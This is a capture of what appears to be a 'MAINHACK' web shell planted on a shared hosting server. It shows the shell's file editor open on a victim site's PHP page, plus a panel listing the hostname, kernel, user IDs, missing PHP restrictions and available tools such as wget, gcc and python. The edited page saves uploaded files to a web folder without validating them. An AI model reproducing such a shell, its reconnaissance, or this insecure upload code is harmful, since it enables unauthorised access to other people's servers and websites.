[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: product-services.php
<?php include('header.php');$cid=base64_decode($_REQUEST['cid']); ?> <!-- USER --> <div class="inner-banner"> <img src="images/inner-banner.jpg" alt="banner"> </div> <script> //add pictures $(document).ready(function(){ // Add more $('#addmore').click(function(){ // alert('dd'); // Get last id var lastname_id = $('.tr_input input[type=text]').last().attr('id'); var split_id = lastname_id.split('_'); // New index var index = Number(split_id[1]) + 1; document.getElementById('getid').value=index; // Create row with input elements var html = "<div class='tr_input'><div class='form-left-to-w3l ' id='b_name'><input type='text' id='testcode_"+index+"' placeholder='Product / services name' name='service_title[]'><input type='file' id='myFile' name='service_img[]' ><a href='javascript:void(0);' id='remove_field' class='remCF btn btn-info' >-</a></div></div>"; // Append data $('#tab').append(html); }); $("#tab").on('click','.remCF',function(){ $(this).parent().parent().remove(); var lastname_id = document.getElementById('getid').value; // New index var index = lastname_id - 1; // Create row with input elements document.getElementById('getid').value=index; }); }); </script> <!-- Social Media Links --> <div class="company-details"> <div class="container"> <h1>Products and Services</h1> <br> <div class="theme-box aos-init aos-animate" data-aos="fade-down" style="transition:all 1600ms ease-in-out;"> <div class="theme-link"> <a href="#" class="">Select Theme</a> <a href="#" class="">Company Details</a> <a href="#" class="">Social Links</a> <a href="#" class="">Payment Options</a> <a href="#" class="active">Product & Services</a> <a href="#" class="">Image Gallery</a> </div> <form method="post" action="" enctype="multipart/form-data"> <h2>Services & Product <span>(Upload images with n 250 KB each image)</span></h2> <br> <input type="hidden" id="getid" value="1"> <div class='tr_input' id="tab" style="border:none !important;"> <div class="form-left-to-w3l " id="b_name"> <label>Product / services name, [ Upload img ]</label> <input type="text" placeholder="Product / services name" id="testcode_1" name="service_title[]" id="service_title" > <input type="file" id="myFile" name="service_img[]" > </div> <input type="button" class="btn btn-info" value='+' id="addmore"> </div> <!---<div class="form-left-to-w3l " id="b_name"> <label>Product / services name, [ Upload img ]</label> <input type="text" placeholder="Product / services name" name="service_title[]" id="service_title" > <input type="file" id="myFile" name="service_img[]" > </div> <div class="form-left-to-w3l " id="b_name"> <label>Product / services name, [ Upload img ]</label> <input type="text" placeholder="Product / services name" name="service_title[]" id="service_title" > <input type="file" id="myFile" name="service_img[]" > </div> <div class="form-left-to-w3l " id="b_name"> <label>Product / services name, [ Upload img ]</label> <input type="text" placeholder="Product / services name" name="service_title[]" id="service_title" > <input type="file" id="myFile" name="service_img[]" > </div> <div class="form-left-to-w3l " id="b_name"> <label>Product / services name, [ Upload img ]</label> <input type="text" placeholder="Product / services name" name="service_title[]" id="service_title"> <input type="file" id="myFile" name="service_img[]"> </div>--> <div class="form-sub-acc"> <div class="form-sub"> <input type="submit" class="" name="sub" id="sub" value="Save & Next"> </div> </div> </form> <?php if(isset($_POST['sub'])){ foreach($_POST['service_title'] as $key=>$service){ if($service!=NULL){ if(file_exists($_FILES['service_img']['tmp_name'][$key]) || is_uploaded_file($_FILES['service_img']['tmp_name'][$key])) { $img=$show->imageEdit($_FILES['service_img']['name'][$key]); move_uploaded_file($_FILES['service_img']['tmp_name'][$key],"cards/documents/".$img); }else{ $img='';} $data=array( 'client_id'=>$_SESSION['login_id'], 'service_title'=>htmlentities(strip_tags($service)), 'service_img'=>$img, 'date'=>date('Y-m-d'), 'card_id'=>$cid ); $r1=$show->insert('service',$data); if($r1){ //echo "<script>sweetAlert('Ok','service is added','success');window.location.href='".$_SERVER['request_uri']."';</script>"; echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: " Service details created. Please continue to write all the details to make your card", type: "success" }, function() { window.location = "images-gallery.php?cid='.base64_encode($cid).'"; }); }, 1000); </script>'; } } } }?> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619